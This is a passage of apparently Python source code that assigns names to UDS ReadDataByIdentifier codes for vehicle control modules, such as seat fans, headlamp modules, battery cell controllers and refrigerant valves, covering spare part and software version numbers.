\"Gear_selection_display_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6337] = \"Cooler_fan_2_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6338] = \"Gear_selector_control_module_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6339] = \"Interior_light_module_2_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x633a] = \"Radio_control_center_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x633b] = \"Multimedia_extension_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x633c] = \"Control_unit_differential_lock_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x633d] = \"Control_unit_ride_control_system_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x633e] = \"Control_unit_hands_on_detection_steering_wheel_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x633f] = \"Front_climatronic_operating_and_display_unit_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6340] = \"Auxiliary_display_unit_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6341] = \"Card_reader_tv_tuner_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6342] = \"Park_lock_actuator_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6343] = \"Media_connector_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6344] = \"Catalyst_heating_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6401] = \"Control_unit_for_wiper_motor_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6402] = \"Rain_light_recognition_sensor_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6403] = \"Light_switch_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6404] = \"Garage_door_opener_control_module_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6405] = \"Garage_door_opener_operating_unit_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6406] = \"Ignition_key_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6407] = \"Left_front_seat_ventilation_control_module_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6408] = \"Right_front_seat_ventilation_control_module_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6409] = \"Left_rear_seat_ventilation_control_module_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x640a] = \"LED_headlamp_powermodule_left_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x640b] = \"LED_headlamp_powermodule_right_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x640c] = \"LED_headlamp_powermodule_2_left_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x640d] = \"LED_headlamp_powermodule_2_right_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x640e] = \"Operating_and_display_unit_1_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x640f] = \"Operating_and_display_unit_2_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6410] = \"Right_rear_seat_ventilation_control_module_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6411] = \"Data_medium_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6412] = \"Drivers_door_control_module_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6413] = \"Front_passengers_door_control_module_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6414] = \"Left_headlamp_power_output_stage_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6415] = \"Right_headlamp_power_output_stage_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6416] = \"Sensor_for_anti_theft_alarm_system_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6417] = \"Rear_lid_control_module_2_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6418] = \"Alarm_horn_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6419] = \"Automatic_day_night_interior_mirror_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x641a] = \"Remote_control_auxiliary_heater_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x641b] = \"Fresh_air_blower_front_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x641c] = \"Fresh_air_blower_back_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x641d] = \"Alternator_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x641e] = \"Interior_light_module_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x641f] = \"Refrigerant_pressure_and_temperature_sender_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6420] = \"Sun_roof_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6421] = \"Steering_column_lock_actuator_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6422] = \"Anti_theft_tilt_system_control_unit_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6423] = \"Tire_pressure_monitor_antenna_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6424] = \"Heated_windshield_control_module_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6425] = \"Rear_light_left_1_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6426] = \"Ceiling_light_module_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6427] = \"Left_front_massage_seat_control_module_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6428] = \"Right_front_massage_seat_control_module_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6429] = \"Control_module_for_auxiliary_air_heater_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x642a] = \"Belt Pretensioner left_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x642b] = \"Belt Pretensioner right_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x642c] = \"Occupant Detection_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x642d] = \"Selector_lever_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x642e] = \"NOx_sensor_1_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x642f] = \"NOx_sensor_2_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6430] = \"Ioniser_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6431] = \"Multi_function_steering_wheel_control_module_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6432] = \"Left_rear_door_control_module_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6433] = \"Right_rear_door_control_module_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6434] = \"Left_rear_massage_seat_control_module_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6435] = \"Right_rear_massage_seat_control_module_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6436] = \"Display_unit_1_for_multimedia_system_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6437] = \"Battery_monitoring_control_module_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6438] = \"Roof_blind_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6439] = \"Sun_roof_2_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x643a] = \"Steering_angle_sender_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x643b] = \"Lane_change_assistant 2_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x643c] = \"Pitch_rate_sender_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x643d] = \"ESP_sensor_unit_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x643e] = \"Electronic_ignition_lock_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x643f] = \"Air_quality_sensor_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6440] = \"Display_unit_2_for_multimedia_system_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6441] = \"Telephone_handset_2_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6442] = \"Chip_card_reader_control_module_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6443] = \"Traffic_data_aerial_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6444] = \"Hands_free_system_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6445] = \"Telephone_handset_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6446] = \"Display_unit_front_for_multimedia_system_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6447] = \"Multimedia_operating_unit_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6448] = \"Digital_sound_system_control_module_2_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6449] = \"Electrically_adjustable_steering_column_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x644a] = \"Interface_for_external_multimedia_unit_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x644b] = \"Relative_Air_Humidity_Interior_Sender_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x644c] = \"Drivers_door_rear_control_module_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x644d] = \"Passengers_rear_door_control_module_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x644e] = \"Sensor_controlled_power_rear_lid_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x644f] = \"Camera_for_night_vision_system_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6450] = \"Relative_humidity_sensor_in_fresh_air_intake_duct_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6451] = \"Rear_spoiler_adjustment_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6452] = \"Roof_blind_2_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6453] = \"Motor_for_wind_deflector_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6454] = \"Voltage_stabilizer_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6455] = \"Switch_module_for_driver_seat_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6456] = \"Switch_module_for_front_passenger_seat_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6457] = \"Switch_module_for_rear_seat_driver_side_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6458] = \"Switch_module_for_rear_seat_front_passenger_side_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6459] = \"Switch_module_2_for_driver_seat_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x645a] = \"Battery_charger_unit_1_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x645b] = \"Battery_charger_unit_2_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x645c] = \"Battery_charger_unit_3_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x645d] = \"Air_conditioning_compressor_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x645e] = \"Neck_heating_left_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x645f] = \"Neck_heating_right_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6460] = \"Switch_module_2_for_front_passenger_seat_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6461] = \"Switch_module_2_for_rear_seat_front_passenger_side_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6462] = \"Compact_disc_database_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6463] = \"Rear_climatronic_operating_and_display_unit_left_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6464] = \"Rear_climatronic_operating_and_display_unit_right_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6465] = \"Door_handle_front_left_Kessy_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6466] = \"Door_handle_front_right_Kessy_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6467] = \"Door_handle_rear_left_Kessy_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6468] = \"Door_handle_rear_right_Kessy_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6469] = \"Power_converter_DC_AC_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x646a] = \"Battery_monitoring_control_module_2_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x646b] = \"Matrix_headlamp_powermodule_1_left_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x646c] = \"Matrix_headlamp_powermodule_1_right_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x646d] = \"High_beam_powermodule_left_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x646e] = \"High_beam_powermodule_right_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x646f] = \"Air_suspension_compressor_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6470] = \"Rear_brake_actuator_1_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6471] = \"Rear_brake_actuator_2_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6472] = \"Analog_clock_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6473] = \"Rear_door_control_module_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6479] = \"Data_medium_2_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x647a] = \"Operating_unit_center_console_1_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x647b] = \"Operating_unit_center_console_2_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x647c] = \"Operating_unit_center_console_3_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x647d] = \"Operating_unit_center_console_4_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x647e] = \"Interface_for_radiodisplay_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x647f] = \"Parkassist_entry_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6486] = \"Belt_pretensioner_3rd_row_left_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6487] = \"Belt_pretensioner_3rd_row_right_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6488] = \"Injection_valve_heater_control_unit_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6489] = \"Steering_column_switch_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x648a] = \"Brake_assistance_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x648b] = \"Trailer_articulation_angle_sensor_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x648c] = \"Cup_holder_with_heater_and_cooling_element_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x648d] = \"Range_of_vision_sensing_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x648e] = \"Convenience_and_driver_assist_operating_unit_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x648f] = \"Cradle_rear_climatronic_operating_and_display_unit_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6490] = \"Trailer_weight_nose_weight_detection_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6491] = \"Sensor_carbon_dioxide_concentration_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6492] = \"Sensor_fine_dust_concentration_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6493] = \"Volume_control_1_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6494] = \"Belt_buckle_presenter_2nd_row_left_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6495] = \"Belt_buckle_presenter_2nd_row_right_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6496] = \"Operating_and_display_unit_6_for_air_conditioning_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6497] = \"Active_accelerator_pedal_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6498] = \"Multimedia_operating_unit_2_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6499] = \"Display_unit_3_for_multimedia_system_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x649a] = \"Display_unit_4_for_multimedia_system_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x649b] = \"Display_unit_5_for_multimedia_system_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x649c] = \"Control_module_for_auxiliary_blower_motors_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x649d] = \"Operating_and_display_unit_3_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x649e] = \"Operating_and_display_unit_4_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x649f] = \"Operating_and_display_unit_5_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x64a0] = \"Side Sensor Driver Front_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x64a1] = \"Side Sensor Passenger Front_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x64a2] = \"Side Sensor Driver Rear_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x64a3] = \"Side Sensor Passenger Rear_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x64a4] = \"Front Sensor Driver_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x64a5] = \"Front Sensor Passenger_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x64a6] = \"Pedestrian Protection Driver_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x64a7] = \"Pedestrian Protection Passenger_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x64a8] = \"Rear Sensor Center_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x64a9] = \"Pedestrian Protection Center_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x64aa] = \"Pedestrian Protection Contact_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x64ab] = \"Pedestrian_protection_driver_2_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x64ac] = \"Pedestrian_protection_passenger_2_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x64ad] = \"Central_sensor_XY_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x64ae] = \"Refrigerant_pressure_and_temperature_sender_2_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x64af] = \"Refrigerant_pressure_and_temperature_sender_3_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x64b0] = \"Switch_for_rear_multicontour_seat_driver_side_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x64b1] = \"Valve_block_1_in_driver_side_rear_seat_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x64b2] = \"Valve_block_2_in_driver_side_rear_seat_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x64b3] = \"Valve_block_3_in_driver_side_rear_seat_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x64b4] = \"Switch_for_rear_multicontour_seat_passenger_side_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x64b5] = \"Valve_block_1_in_passenger_side_rear_seat_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x64b6] = \"Valve_block_2_in_passenger_side_rear_seat_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x64b7] = \"Valve_block_3_in_passenger_side_rear_seat_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x64b8] = \"Switch_for_front_multicontour_seat_driver_side_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x64b9] = \"Valve_block_1_in_driver_side_front_seat_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x64ba] = \"Valve_block_2_in_driver_side_front_seat_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x64bb] = \"Valve_block_3_in_driver_side_front_seat_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x64bc] = \"Switch_for_front_multicontour_seat_passenger_side_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x64bd] = \"Valve_block_1_in_passenger_side_front_seat_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x64be] = \"Valve_block_2_in_passenger_side_front_seat_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x64bf] = \"Valve_block_3_in_passenger_side_front_seat_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x64c0] = \"Coolant_heater_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x64c1] = \"Seat_backrest_fan_1_front_left_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x64c2] = \"Seat_backrest_fan_2_front_left_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x64c3] = \"Seat_cushion_fan_1_front_left_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x64c4] = \"Seat_cushion_fan_2_front_left_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x64c5] = \"Seat_backrest_fan_1_front_right_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x64c6] = \"Seat_backrest_fan_2_front_right_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x64c7] = \"Seat_cushion_fan_1_front_right_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x64c8] = \"Seat_cushion_fan_2_front_right_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x64c9] = \"Operating_and_display_unit_1_for_air_conditioning_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x64ca] = \"Operating_and_display_unit_2_for_air_conditioning_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x64cb] = \"Operating_and_display_unit_3_for_air_conditioning_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x64cc] = \"Operating_and_display_unit_4_for_air_conditioning_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x64cd] = \"Operating_and_display_unit_5_for_air_conditioning_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x64ce] = \"Pedestrian_protection_left_hand_side_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x64cf] = \"Pedestrian_protection_right_hand_side_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x64d0] = \"Battery_junction_box_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x64d1] = \"Cell_module_controller_1_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x64d2] = \"Cell_module_controller_2_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x64d3] = \"Cell_module_controller_3_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x64d4] = \"Cell_module_controller_4_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x64d5] = \"Cell_module_controller_5_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x64d6] = \"Cell_module_controller_6_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x64d7] = \"Cell_module_controller_7_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x64d8] = \"Cell_module_controller_8_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x64d9] = \"Cell_module_controller_9_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x64da] = \"Cell_module_controller_10_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x64db] = \"Cell_module_controller_11_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x64dc] = \"Cell_module_controller_12_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x64dd] = \"Seat_backrest_fan_1_rear_left_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x64de] = \"Seat_backrest_fan_2_rear_left_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x64df] = \"Seat_cushion_fan_1_rear_left_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x64e0] = \"Seat_cushion_fan_2_rear_left_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x64e1] = \"Seat_backrest_fan_1_rear_right_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x64e2] = \"Seat_backrest_fan_2_rear_right_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x64e3] = \"Seat_cushion_fan_1_rear_right_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x64e4] = \"Seat_cushion_fan_2_rear_right_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x64e5] = \"Auxiliary_blower_motor_control_1_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x64e6] = \"Auxiliary_blower_motor_control_2_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x64e7] = \"Infrared_sender_for_front_observation_module_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x64e8] = \"Starter_generator_control_module_sub_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x64e9] = \"Media_player_1_sub_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x64ea] = \"Media_player_2_sub_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x64eb] = \"Dedicated_short_range_communication_aerial_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x64ec] = \"Refrigerant_pressure_and_temperature_sender_4_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x64ed] = \"Refrigerant_pressure_and_temperature_sender_5_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x64ee] = \"Refrigerant_pressure_and_temperature_sender_6_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x64ef] = \"Air_coolant_actuator_1_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x64f0] = \"Air_coolant_actuator_2_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x64f1] = \"Cell_module_controller_13_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x64f2] = \"Cell_module_controller_14_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x64f3] = \"Cell_module_controller_15_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x64f5] = \"Seat_heating_rear_1_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x64f6] = \"LED_warning_indicator_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x64f7] = \"Automatic_transmission_fluid_pump_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x64f8] = \"Manual_transmission_fluid_pump_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x64f9] = \"Convenience_and_driver_assist_operating_unit_2_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x64fb] = \"Air_coolant_actuator_3_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x64fc] = \"Valve_block_4_in_driver_side_rear_seat_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x64fd] = \"Valve_block_4_in_passenger_side_rear_seat_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x64fe] = \"Valve_block_4_in_driver_side_front_seat_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x64ff] = \"Valve_block_4_in_passenger_side_front_seat_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6501] = \"Rear_climatronic_operating_and_display_unit_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6502] = \"Refrigerant_expansion_valve_1_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6503] = \"Refrigerant_expansion_valve_2_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6504] = \"Refrigerant_expansion_valve_3_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6505] = \"Refrigerant_shut_off_valve_1_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6506] = \"Refrigerant_shut_off_valve_2_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6507] = \"Refrigerant_shut_off_valve_3_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6508] = \"Refrigerant_shut_off_valve_4_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6509] = \"Refrigerant_shut_off_valve_5_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x650a] = \"Sunlight_sensor_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x650b] = \"Near_field_communication_control_module_2_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x650c] = 